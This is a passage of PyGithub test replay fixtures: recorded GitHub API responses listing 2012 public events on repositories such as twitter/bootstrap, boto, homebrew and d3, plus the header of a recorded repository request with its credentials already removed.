content","updated_at":"2012-05-20T09:00:43Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3546","id":4658922,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3546","user":{"avatar_url":"https://secure.gravatar.com/avatar/36677d5ad489b685b3a437a247733339?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"36677d5ad489b685b3a437a247733339","url":"https://api.github.com/users/olvani","id":1643481,"login":"olvani"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T09:00:45Z","id":"1553894937","actor":{"gravatar_id":"36677d5ad489b685b3a437a247733339","url":"https://api.github.com/users/olvani","id":1643481,"avatar_url":"https://secure.gravatar.com/avatar/36677d5ad489b685b3a437a247733339?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"olvani"}},{"type":"PullRequestEvent","payload":{"number":3545,"pull_request":{"issue_url":"https://github.com/twitter/bootstrap/issues/3545","number":3545,"head":{"repo":{"name":"bootstrap","size":120,"created_at":"2012-05-20T08:48:41Z","has_wiki":true,"clone_url":"https://github.com/pvorb/bootstrap.git","private":false,"watchers":1,"updated_at":"2012-05-20T08:54:22Z","ssh_url":"git@github.com:pvorb/bootstrap.git","fork":true,"url":"https://api.github.com/repos/pvorb/bootstrap","git_url":"git://github.com/pvorb/bootstrap.git","language":"JavaScript","id":4383503,"pushed_at":"2012-05-20T08:54:22Z","svn_url":"https://github.com/pvorb/bootstrap","has_downloads":true,"mirror_url":null,"open_issues":0,"has_issues":false,"homepage":"http://twitter.github.com/bootstrap","description":"HTML, CSS, and JS toolkit from Twitter","forks":0,"html_url":"https://github.com/pvorb/bootstrap","owner":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},"label":"pvorb:patch-1","sha":"faf2866f96513dc1c2775974518d979feb554dbd","ref":"patch-1","user":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},"merged":false,"created_at":"2012-05-20T08:55:24Z","merged_by":null,"changed_files":1,"comments":0,"body":"Fix for issue #3543","title":"Remove re-declaration of font-fam, font-size, and line-height in p","diff_url":"https://github.com/twitter/bootstrap/pull/3545.diff","updated_at":"2012-05-20T08:55:24Z","additions":0,"_links":{"html":{"href":"https://github.com/twitter/bootstrap/pull/3545"},"self":{"href":"https://api.github.com/repos/twitter/bootstrap/pulls/3545"},"comments":{"href":"https://api.github.com/repos/twitter/bootstrap/issues/3545/comments"},"issue":{"href":"https://api.github.com/repos/twitter/bootstrap/issues/3545"},"review_comments":{"href":"https://api.github.com/repos/twitter/bootstrap/pulls/3545/comments"}},"url":"https://api.github.com/repos/twitter/bootstrap/pulls/3545","id":1388338,"patch_url":"https://github.com/twitter/bootstrap/pull/3545.patch","mergeable":null,"merged_at":null,"commits":1,"closed_at":null,"user":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"},"deletions":3,"review_comments":0,"html_url":"https://github.com/twitter/bootstrap/pull/3545","state":"open","base":{"repo":{"name":"bootstrap","size":1244,"created_at":"2011-07-29T21:19:00Z","has_wiki":true,"clone_url":"https://github.com/twitter/bootstrap.git","private":false,"watchers":29097,"updated_at":"2012-05-20T08:48:41Z","ssh_url":"git@github.com:twitter/bootstrap.git","fork":false,"url":"https://api.github.com/repos/twitter/bootstrap","git_url":"git://github.com/twitter/bootstrap.git","language":"JavaScript","id":2126244,"pushed_at":"2012-05-18T05:00:54Z","svn_url":"https://github.com/twitter/bootstrap","has_downloads":true,"mirror_url":null,"open_issues":222,"has_issues":true,"homepage":"http://twitter.github.com/bootstrap","description":"HTML, CSS, and JS toolkit from Twitter","forks":5699,"html_url":"https://github.com/twitter/bootstrap","owner":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","id":50278,"login":"twitter"}},"label":"twitter:master","sha":"b261f9781bbf31f499cb55c49451dc0c0ad43062","ref":"master","user":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","id":50278,"login":"twitter"}}},"action":"opened"},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T08:55:26Z","id":"1553894547","actor":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","url":"https://api.github.com/users/pvorb","id":183534,"avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"pvorb"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T08:33:02Z","body":"This should be removed. It's not necessary because of traversing.","updated_at":"2012-05-20T08:33:02Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807352","id":5807352,"user":{"avatar_url":"https://secure.gravatar.com/avatar/4c39d9893256e9da887449f1d90d9562?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4c39d9893256e9da887449f1d90d9562","url":"https://api.github.com/users/macx","id":84112,"login":"macx"}},"action":"created","issue":{"number":3543,"created_at":"2012-05-19T08:23:49Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"The attributes `font-family`, `font-size` and `line-height` are set identically for both `` and `

`. What's the rationale for repeating the declaration in `

`? Regards, Christian","title":"Font assignment overdone?","updated_at":"2012-05-20T08:33:02Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3543","id":4653303,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3543","user":{"avatar_url":"https://secure.gravatar.com/avatar/04d99189f86d1d269b04876e68092784?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04d99189f86d1d269b04876e68092784","url":"https://api.github.com/users/datenimperator","id":112130,"login":"datenimperator"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T08:33:04Z","id":"1553892964","actor":{"gravatar_id":"4c39d9893256e9da887449f1d90d9562","url":"https://api.github.com/users/macx","id":84112,"avatar_url":"https://secure.gravatar.com/avatar/4c39d9893256e9da887449f1d90d9562?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"macx"}},{"type":"PushEvent","payload":{"head":"4986f61c9ce00ce792683cce9e47ea1579631155","size":2,"push_id":79397931,"commits":[{"sha":"9c52a9b0ee98d1dce4a427e8a09307d399fe414d","author":{"name":"Bryan Donlan","email":"bdonlan@amazon.com"},"url":"https://api.github.com/repos/boto/boto/commits/9c52a9b0ee98d1dce4a427e8a09307d399fe414d","distinct":true,"message":"Fix infinite loop when listing a large (100+) number of tables in dynamodb"},{"sha":"4986f61c9ce00ce792683cce9e47ea1579631155","author":{"name":"Mitch Garnaat","email":"mitch@garnaat.com"},"url":"https://api.github.com/repos/boto/boto/commits/4986f61c9ce00ce792683cce9e47ea1579631155","distinct":true,"message":"Removing extraneous host param from Layer2 contructor."}],"ref":"refs/heads/develop"},"public":true,"org":{"gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/orgs/boto","id":327752,"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"boto"},"repo":{"url":"https://api.github.com/repos/boto/boto","id":771016,"name":"boto/boto"},"created_at":"2012-05-20T07:40:29Z","id":"1553889294","actor":{"gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"garnaat"}},{"type":"PullRequestEvent","payload":{"number":770,"pull_request":{"issue_url":"https://github.com/boto/boto/issues/770","head":{"repo":{"name":"boto","master_branch":"develop","created_at":"2012-05-19T23:11:59Z","size":120,"has_wiki":true,"clone_url":"https://github.com/bdonlan/boto.git","updated_at":"2012-05-19T23:13:56Z","private":false,"watchers":1,"language":"Python","git_url":"git://github.com/bdonlan/boto.git","ssh_url":"git@github.com:bdonlan/boto.git","fork":true,"url":"https://api.github.com/repos/bdonlan/boto","id":4381487,"pushed_at":"2012-05-19T23:13:56Z","svn_url":"https://github.com/bdonlan/boto","open_issues":0,"mirror_url":null,"has_downloads":true,"has_issues":false,"homepage":"http://boto.readthedocs.org/","forks":0,"description":"Python interface to Amazon Web Services","html_url":"https://github.com/bdonlan/boto","owner":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"}},"label":"bdonlan:develop","sha":"9c52a9b0ee98d1dce4a427e8a09307d399fe414d","ref":"develop","user":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"}},"number":770,"created_at":"2012-05-19T23:15:06Z","changed_files":1,"merged_by":{"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"login":"garnaat"},"merged":true,"body":"The current code loops when there are more tables, but continues requesting a list from the start, leading to an infinite loop.","comments":0,"title":"Fix infinite loop when listing a large (100+) number of tables in dynamodb","updated_at":"2012-05-20T07:40:29Z","additions":7,"diff_url":"https://github.com/boto/boto/pull/770.diff","_links":{"html":{"href":"https://github.com/boto/boto/pull/770"},"self":{"href":"https://api.github.com/repos/boto/boto/pulls/770"},"comments":{"href":"https://api.github.com/repos/boto/boto/issues/770/comments"},"issue":{"href":"https://api.github.com/repos/boto/boto/issues/770"},"review_comments":{"href":"https://api.github.com/repos/boto/boto/pulls/770/comments"}},"url":"https://api.github.com/repos/boto/boto/pulls/770","id":1387801,"patch_url":"https://github.com/boto/boto/pull/770.patch","mergeable":null,"merged_at":"2012-05-20T07:40:29Z","closed_at":"2012-05-20T07:40:29Z","commits":1,"html_url":"https://github.com/boto/boto/pull/770","user":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"},"review_comments":0,"deletions":2,"state":"closed","base":{"repo":{"name":"boto","master_branch":"develop","created_at":"2010-07-12T19:15:33Z","size":4183,"has_wiki":true,"clone_url":"https://github.com/boto/boto.git","updated_at":"2012-05-20T07:40:28Z","private":false,"watchers":1519,"language":"Python","git_url":"git://github.com/boto/boto.git","ssh_url":"git@github.com:boto/boto.git","fork":false,"url":"https://api.github.com/repos/boto/boto","id":771016,"pushed_at":"2012-05-20T07:40:27Z","svn_url":"https://github.com/boto/boto","open_issues":131,"mirror_url":null,"has_downloads":true,"has_issues":true,"homepage":"http://boto.readthedocs.org/","forks":395,"description":"Python interface to Amazon Web Services","html_url":"https://github.com/boto/boto","owner":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","id":327752,"login":"boto"}},"label":"boto:develop","sha":"0bd4d8b270fd5796e2e8b570f8703410bdd02820","ref":"develop","user":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","id":327752,"login":"boto"}}},"action":"closed"},"public":true,"org":{"gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/orgs/boto","id":327752,"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"boto"},"repo":{"url":"https://api.github.com/repos/boto/boto","id":771016,"name":"boto/boto"},"created_at":"2012-05-20T07:40:29Z","id":"1553889293","actor":{"gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"garnaat"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T07:39:27Z","body":"Good idea although I wonder if /Versions/1.8/ might be even better considering we die on our arse with 1.9.","updated_at":"2012-05-20T07:39:27Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/comments/5807134","id":5807134,"user":{"avatar_url":"https://secure.gravatar.com/avatar/215e0166d4d8265395c5d9076da73c70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"215e0166d4d8265395c5d9076da73c70","url":"https://api.github.com/users/mikemcquaid","id":125011,"login":"mikemcquaid"}},"action":"created","issue":{"number":12333,"created_at":"2012-05-20T01:39:12Z","pull_request":{"diff_url":"https://github.com/mxcl/homebrew/pull/12333.diff","patch_url":"https://github.com/mxcl/homebrew/pull/12333.patch","html_url":"https://github.com/mxcl/homebrew/pull/12333"},"body":"re: #12009, this commit replaces all usages of /usr/bin/ruby with the full Framework path, which is *hopefully* less likely to be altered.\n\nSince we're no longer dealing with a default ruby path which is a symlink, I simplified the `brew --config` checks for the system ruby.","title":"Replace /usr/bin/ruby with full Framework path","comments":2,"updated_at":"2012-05-20T07:39:27Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/12333","id":4657778,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/mxcl/homebrew/issues/12333","user":{"avatar_url":"https://secure.gravatar.com/avatar/f5f2035f07c635d24c62cf211d37f3d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f5f2035f07c635d24c62cf211d37f3d4","url":"https://api.github.com/users/mistydemeo","id":780485,"login":"mistydemeo"},"labels":[],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T07:39:29Z","id":"1553889227","actor":{"gravatar_id":"215e0166d4d8265395c5d9076da73c70","url":"https://api.github.com/users/mikemcquaid","id":125011,"avatar_url":"https://secure.gravatar.com/avatar/215e0166d4d8265395c5d9076da73c70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"mikemcquaid"}},{"type":"PullRequestEvent","payload":{"number":648,"pull_request":{"issue_url":"https://github.com/mbostock/d3/issues/648","head":{"repo":{"name":"d3","created_at":"2012-05-20T05:25:26Z","size":208,"has_wiki":true,"clone_url":"https://github.com/eghm/d3.git","updated_at":"2012-05-20T05:44:03Z","private":false,"watchers":1,"git_url":"git://github.com/eghm/d3.git","ssh_url":"git@github.com:eghm/d3.git","fork":true,"language":"JavaScript","url":"https://api.github.com/repos/eghm/d3","id":4382862,"pushed_at":"2012-05-20T05:44:02Z","svn_url":"https://github.com/eghm/d3","open_issues":0,"mirror_url":null,"has_downloads":true,"has_issues":false,"homepage":"http://d3js.org","forks":0,"description":"A JavaScript visualization library for HTML and SVG.","html_url":"https://github.com/eghm/d3","owner":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},"label":"eghm:master","sha":"4501a5e68ad31f3ea85983188f1a75906f3afd6d","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},"number":648,"created_at":"2012-05-20T05:47:07Z","changed_files":1,"merged_by":null,"merged":false,"body":"An undefined import causes a fatal error in the bundle-radial demo. This commit avoids the error, the ui will go on to draw a line to a blank node. To recreate initial undefined error add a un-\"name\"ed node to one of the imports in examples/data/flare-imports.\n\nThanks for sharing such an awesome tool.\n","comments":0,"title":"add start and end parent != undefined in d3_layout_bundlePath while","updated_at":"2012-05-20T05:47:07Z","additions":2,"diff_url":"https://github.com/mbostock/d3/pull/648.diff","_links":{"html":{"href":"https://github.com/mbostock/d3/pull/648"},"self":{"href":"https://api.github.com/repos/mbostock/d3/pulls/648"},"comments":{"href":"https://api.github.com/repos/mbostock/d3/issues/648/comments"},"issue":{"href":"https://api.github.com/repos/mbostock/d3/issues/648"},"review_comments":{"href":"https://api.github.com/repos/mbostock/d3/pulls/648/comments"}},"url":"https://api.github.com/repos/mbostock/d3/pulls/648","id":1388185,"patch_url":"https://github.com/mbostock/d3/pull/648.patch","mergeable":null,"merged_at":null,"closed_at":null,"commits":1,"html_url":"https://github.com/mbostock/d3/pull/648","user":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"},"review_comments":0,"deletions":2,"state":"open","base":{"repo":{"name":"d3","created_at":"2010-09-27T17:22:42Z","size":3268,"has_wiki":true,"clone_url":"https://github.com/mbostock/d3.git","updated_at":"2012-05-20T05:25:26Z","private":false,"watchers":5893,"git_url":"git://github.com/mbostock/d3.git","ssh_url":"git@github.com:mbostock/d3.git","fork":false,"language":"JavaScript","url":"https://api.github.com/repos/mbostock/d3","id":943149,"pushed_at":"2012-05-17T19:11:22Z","svn_url":"https://github.com/mbostock/d3","open_issues":110,"mirror_url":null,"has_downloads":true,"has_issues":true,"homepage":"http://d3js.org","forks":670,"description":"A JavaScript visualization library for HTML and SVG.","html_url":"https://github.com/mbostock/d3","owner":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","id":230541,"login":"mbostock"}},"label":"mbostock:master","sha":"dd2a424f2bdb8fae1dab5ac27168f5bba186a0c4","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","id":230541,"login":"mbostock"}}},"action":"opened"},"public":true,"repo":{"url":"https://api.github.com/repos/mbostock/d3","id":943149,"name":"mbostock/d3"},"created_at":"2012-05-20T05:47:09Z","id":"1553878057","actor":{"gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"eghm"}},{"type":"PushEvent","payload":{"head":"389347c92a590c6e6165a53ae054e48ca6a23db9","size":1,"push_id":79392783,"commits":[{"sha":"389347c92a590c6e6165a53ae054e48ca6a23db9","author":{"name":"Nick Stenning","email":"nick@whiteink.com"},"url":"https://api.github.com/repos/mxcl/homebrew/commits/389347c92a590c6e6165a53ae054e48ca6a23db9","distinct":true,"message":"mu: make emacs support optional\n\nCloses #12306.\n\nSigned-off-by: Jack Nagel "}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T05:20:38Z","id":"1553874168","actor":{"gravatar_id":"68602fa96bdda4c677ece48ab42b6eb2","url":"https://api.github.com/users/jacknagel","id":568243,"avatar_url":"https://secure.gravatar.com/avatar/68602fa96bdda4c677ece48ab42b6eb2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacknagel"}},{"type":"PullRequestEvent","payload":{"number":12306,"pull_request":{"issue_url":"https://github.com/mxcl/homebrew/issues/12306","head":{"repo":{"name":"homebrew","master_branch":"master","created_at":"2011-10-03T12:09:31Z","size":188,"has_wiki":true,"clone_url":"https://github.com/nickstenning/homebrew.git","updated_at":"2012-05-19T21:24:29Z","private":false,"watchers":1,"git_url":"git://github.com/nickstenning/homebrew.git","ssh_url":"git@github.com:nickstenning/homebrew.git","fork":true,"url":"https://api.github.com/repos/nickstenning/homebrew","language":"Ruby","id":2504318,"pushed_at":"2012-05-19T21:24:29Z","svn_url":"https://github.com/nickstenning/homebrew","mirror_url":null,"open_issues":0,"has_downloads":false,"has_issues":false,"homepage":"http://mxcl.github.com/homebrew","forks":0,"description":"The missing package manager for OS X.","html_url":"https://github.com/nickstenning/homebrew","owner":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"}},"label":"nickstenning:fix-mu","sha":"1a4c4f1a3d3a87da4a49ae4209186edc695eb715","ref":"fix-mu","user":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"}},"number":12306,"created_at":"2012-05-18T10:18:22Z","changed_files":1,"merged_by":null,"merged":false,"body":"This patch removes a slightly insane dependency of `mu` on the `emacs` package.","comments":7,"title":"mu: don't depend on emacs","updated_at":"2012-05-20T05:19:00Z","additions":11,"diff_url":"https://github.com/mxcl/homebrew/pull/12306.diff","_links":{"html":{"href":"https://github.com/mxcl/homebrew/pull/12306"},"self":{"href":"https://api.github.com/repos/mxcl/homebrew/pulls/12306"},"comments":{"href":"https://api.github.com/repos/mxcl/homebrew/issues/12306/comments"},"issue":{"href":"https://api.github.com/repos/mxcl/homebrew/issues/12306"},"review_comments":{"href":"https://api.github.com/repos/mxcl/homebrew/pulls/12306/comments"}},"url":"https://api.github.com/repos/mxcl/homebrew/pulls/12306","id":1380202,"patch_url":"https://github.com/mxcl/homebrew/pull/12306.patch","mergeable":true,"merged_at":null,"closed_at":"2012-05-20T05:19:00Z","commits":3,"html_url":"https://github.com/mxcl/homebrew/pull/12306","user":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"},"review_comments":0,"deletions":1,"state":"closed","base":{"repo":{"name":"homebrew","master_branch":"master","created_at":"2009-05-20T19:38:37Z","size":4436,"has_wiki":true,"clone_url":"https://github.com/mxcl/homebrew.git","updated_at":"2012-05-20T05:18:59Z","private":false,"watchers":8673,"git_url":"git://github.com/mxcl/homebrew.git","ssh_url":"git@github.com:mxcl/homebrew.git","fork":false,"url":"https://api.github.com/repos/mxcl/homebrew","language":"Ruby","id":206084,"pushed_at":"2012-05-20T05:18:59Z","svn_url":"https://github.com/mxcl/homebrew","mirror_url":null,"open_issues":423,"has_downloads":false,"has_issues":true,"homepage":"http://mxcl.github.com/homebrew","forks":3960,"description":"The missing package manager for OS X.","html_url":"https://github.com/mxcl/homebrew","owner":{"avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","url":"https://api.github.com/users/mxcl","id":58962,"login":"mxcl"}},"label":"mxcl:master","sha":"7ac1cbc996e0f18aaabad5ef327ff57161e0ae2e","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","url":"https://api.github.com/users/mxcl","id":58962,"login":"mxcl"}}},"action":"closed"},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T05:19:01Z","id":"1553873936","actor":{"gravatar_id":"68602fa96bdda4c677ece48ab42b6eb2","url":"https://api.github.com/users/jacknagel","id":568243,"avatar_url":"https://secure.gravatar.com/avatar/68602fa96bdda4c677ece48ab42b6eb2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacknagel"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetRepo.txt0000644000175100001660000000304014756101563023043 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"922c0519f2733063a899619ae95ce892"'), ('date', 'Sun, 20 May 2012 12:33:27 GMT'), ('content-type', 'application/json; charset=utf-8')] 